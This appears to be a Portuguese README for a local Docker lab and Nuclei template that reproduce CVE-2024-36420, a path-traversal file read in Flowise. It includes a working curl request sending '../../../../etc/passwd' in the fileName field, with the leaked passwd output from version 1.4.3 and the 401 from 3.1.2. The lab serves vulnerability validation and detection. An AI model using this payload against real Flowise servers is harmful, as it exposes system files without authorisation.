
Laboratório de reprodução local e template Nuclei para CVE-2024-36420, uma vulnerabilidade de leitura arbitrária de arquivos no Flowise através do parâmetro fileName não sanitizado. Valida o comportamento vulnerável (1.4.3) e corrigido (3.1.2).
Laboratório de reprodução local e rascunho de template nuclei para CVE-2024-36420 que afeta o Flowise.
CVE-2024-36420 é uma leitura arbitrária de arquivos no Flowise causada pelo uso não sanitizado do parâmetro fileName no corpo da requisição em:
POST /api/v1/openai-assistants-fileEste laboratório foi utilizado para validar:
flowiseai/flowise:1.4.3flowiseai/flowise:3.1.2docker-compose.ymldocker-compose.latest.ymlCVE-2024-36420.yamlInicie o Flowise 1.4.3:
docker compose down -v
docker compose up -d
docker compose logs --tail=100 flowise
Verificação manual:
curl -i \
-X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
-H 'Content-Type: application/json' \
-d '{"fileName":"../../../../etc/passwd"}'
Resposta vulnerável observada:
HTTP/1.1 200 OK
Content-Disposition: attachment; filename=passwd
...
root:x:0:0:root:/root:/bin/ash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
Inicie o Flowise mais novo 3.1.2:
docker compose -f docker-compose.latest.yml down -v
docker compose -f docker-compose.latest.yml up -d
docker compose -f docker-compose.latest.yml logs --tail=100 flowise
Verificação manual:
curl -i \
-X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
-H 'Content-Type: application/json' \
-d '{"fileName":"../../../../etc/passwd"}'
Resposta da versão mais nova observada:
HTTP/1.1 401 Unauthorized
{"error":"Unauthorized Access"}
Valide o template:
nuclei -duc -validate -t CVE-2024-36420.yaml
Execute contra o alvo vulnerável:
nuclei -duc -u http://127.0.0.1:3000 -t CVE-2024-36420.yaml
Comportamento esperado:
1.4.3: correspondência3.1.2: sem correspondência1.4.33.1.2